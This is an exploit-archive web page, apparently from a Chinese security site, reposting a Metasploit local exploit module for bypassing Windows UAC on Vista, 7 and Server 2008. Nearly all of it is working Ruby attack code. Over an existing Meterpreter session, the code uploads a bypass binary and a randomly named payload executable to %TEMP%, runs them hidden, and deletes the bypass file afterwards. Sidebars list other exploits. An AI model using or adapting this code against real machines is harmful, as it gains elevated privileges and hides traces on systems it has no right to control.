首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Windows Escalate UAC Protection Bypass
来源:http://www.metasploit.com 作者:mubix 发布时间:2012-10-08  
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Local
	Rank = ExcellentRanking

	include Post::Common
	include Exploit::EXE
	include Post::File

	def initialize(info={})
		super( update_info( info,
			'Name'          => 'Windows Escalate UAC Protection Bypass',
			'Description'   => %q{
				This module will bypass Windows UAC by utilizing the trusted publisher
				certificate through process injection. It will spawn a second shell that
				has the UAC flag turned off.
			},
			'License'       => MSF_LICENSE,
			'Author'        => [
					'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
					'mitnick',
					'mubix <mubix[at]hak5.org>' # Port to local exploit
				],
			'Version'       => '$Revision
, 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', ' http://www.trustedsec.com/december-2010/bypass-windows-uac/' ] ], 'DisclosureDate'=> "Dec 31, 2010" )) end def exploit # # Verify use against Vista+ # vuln = false winver = sysinfo["OS"] affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ] affected.each { |v| if winver.include? v vuln = true end } if not vuln print_error("#{winver} is not vulnerable.") return end # # Generate payload and random names for upload # payload = generate_payload_exe # randomize the bypass_uac_filename bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" # randomize the payload exe name payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" # path to the bypassuac binary path = ::File.join(Msf::Config.install_root, "data", "post") # decide, x86 or x64 bpexe = nil if sysinfo["Architecture"] =~ /wow64/i bpexe = ::File.join(path, "bypassuac-x64.exe") else bpexe = ::File.join(path, "bypassuac-x86.exe") end tmpdir = session.fs.file.expand_path("%TEMP%") cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}" print_status("Uploading the bypass UAC executable to the filesystem...") begin # # Upload UAC bypass to the filesystem # session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe) print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..") # # Upload the payload to the filesystem # tempexe = tmpdir + "\\" + payload_filename fd = client.fs.file.new(tempexe, "wb") fd.write(payload) fd.close rescue ::Exception => e print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}") return end print_status("Uploaded the agent to the filesystem....") # execute the payload session.sys.process.execute(cmd, nil, {'Hidden' => true}) # delete the uac bypass payload delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}" session.sys.process.execute(delete_file, nil, {'Hidden' => true}) end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·QNX QCONN Remote Command Execu
·Microsoft Office Excel 2003 St
·InduSoft Web Studio Arbitrary
·Dart Communications Stack Over
·NCMedia Sound Editor Pro 7.5.1
·Microsoft IIS 5.0/6.0 FTP Serv
·MS11-080 AfdJoinLeaf Privilege
·Hiro Player 1.6.0 (.mp3) Local
·FastStone Image Viewer 4.6 <=
·Avaya WinPMD UniteHostRouter B
·HCView WriteAV Crash PoC
·Avaya IP Office Customer Call
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved